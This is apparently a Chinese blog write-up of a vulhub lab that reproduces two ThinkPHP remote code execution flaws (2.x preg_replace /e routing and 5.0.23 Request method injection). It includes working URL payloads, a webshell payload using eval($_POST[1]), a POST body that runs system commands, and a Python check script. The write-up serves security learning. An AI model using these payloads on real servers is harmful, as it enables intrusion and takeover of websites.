Thinkphp漏洞

thinkphp2.x任意代码执行

启动靶场

[root@redhat vulhub]# cd thinkphp/
[root@redhat thinkphp]# ls
2-rce  5.0.23-rce  5-rce  in-sqlinjection  lang-rce
[root@redhat thinkphp]# cd 2-rce/
[root@redhat 2-rce]# docker-compose up -d

image
漏洞原理:使用preg_replace的/e模式匹配路由

/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

源码:

self::getPathInfo();
 
if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
    $var  =  array();
    if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
        $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
        if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
            // 禁止直接访问分组
            exit;
        }
    }
    if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
        $var[C('VAR_MODULE')]  =   array_shift($paths);
    }
    $var[C('VAR_ACTION')]  =   array_shift($paths);
    // 解析剩余的URL参数
    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
    $_GET   =  array_merge($var,$_GET);
}

存在漏洞代码

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

其中的preg_replace('正则规则','替换字符','目标字符')
/e为可执行模式,@表示不报错
如果该正则规则表达式中使用了/e修饰符,那么就会存在代码执行漏洞

首先  \w+匹配到一个以上字符,接下来$depr匹配到一个网页路径分隔符,
([^'.$depr.'\/]+),首先[^abcd]表示匹配abcd以外的所有字符,
因此,原式所匹配的规则为匹配一个或多个除了网页分隔符和“\”以外的字符,
将输入匹配到的结果为a/b, c/${@print(eval($_POST[1]))}
例如:
<?php
@preg_replace('/test/e','print_r("AAA");','just test');

只要在“just test”中匹配到了“test”字符,就执行中间的print_r这条函数的命令。

POC:

/index.php?s=/index/index/xxx/${@phpinfo()}

image
也可以构造一句话木马

http://172.18.128.81:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}

image

Python poc

import requests
from urllib.parse import urljoin
#from bs4 import BeautifulSoup


def thinkphp2_rce(url):
    payload = '?s=/index/index/xxx/${@phpinfo()}'
    url = urljoin(url, payload)
    response = requests.get(url)
    if 'PHP Version 5.5.38' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')


if __name__ == '__main__':
    url = 'http://192.168.226.132:8080'
    thinkphp2_rce(url)

thinkphp5.0.23任意代码执行

框架介绍:
ThinkPHP是一款运用极广的PHP开发框架。
漏洞原理:
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞利用:
1、访问靶机地址+端口号 进入首页
2、Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作。

复现过程:

[root@redhat thinkphp]# ls
2-rce  5.0.23-rce  5-rce  in-sqlinjection  lang-rce
[root@redhat thinkphp]# cd 5.0.23-rce/
[root@redhat 5.0.23-rce]# docker-compose up -d

image
抓包修改请求方法

/index.php?s=captcha		#url后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd	#POST传入参数

image

posted @   kkrystle  阅读(19)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示